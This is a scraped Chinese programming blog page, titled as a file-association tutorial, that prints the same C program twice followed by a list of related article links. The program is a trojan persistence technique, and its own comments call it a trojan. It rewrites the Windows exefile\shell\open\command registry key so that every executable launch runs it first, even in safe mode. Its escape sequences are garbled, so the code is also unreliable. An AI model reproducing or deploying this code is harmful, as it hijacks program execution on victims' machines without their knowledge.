vc++实现文件关联
来源:互联网 发布:晨曦软件支持什么系统 编辑:程序博客网 时间:2024/06/06 01:29
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='//')
strncat(temp,"////",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"/"变为"//"
char str[]="/"%1/" %*";
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," /"%1/" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
return 0;
}
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='//')
strncat(temp,"////",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"/"变为"//"
char str[]="/"%1/" %*";
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," /"%1/" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
return 0;
}
0 0
- vc++实现文件关联
- VC 实现文件关联
- vc++实现文件关联
- VC 实现文件关联
- VC++实现文件关联
- vc++实现文件关联
- Windows文件关联和VC实现
- VC 实现文件与应用程序关联
- 转:Windows文件关联和VC实现
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- Oracle数据库的安全策略
- vc++防止多次运行
- C 结构体内存对齐原则
- 收集的ORACLE函数大全
- linux中export用法
- vc++实现文件关联
- 关于js跳转的总结
- java中的方法(method)到底怎么用?给个例子
- linux随笔
- tar备份系统的方法
- 读《程序员应该知道的97件事》
- VC++实现多线程ddos
- 怎样快速在线将pdf文件转换成word
- Linux中的环境变量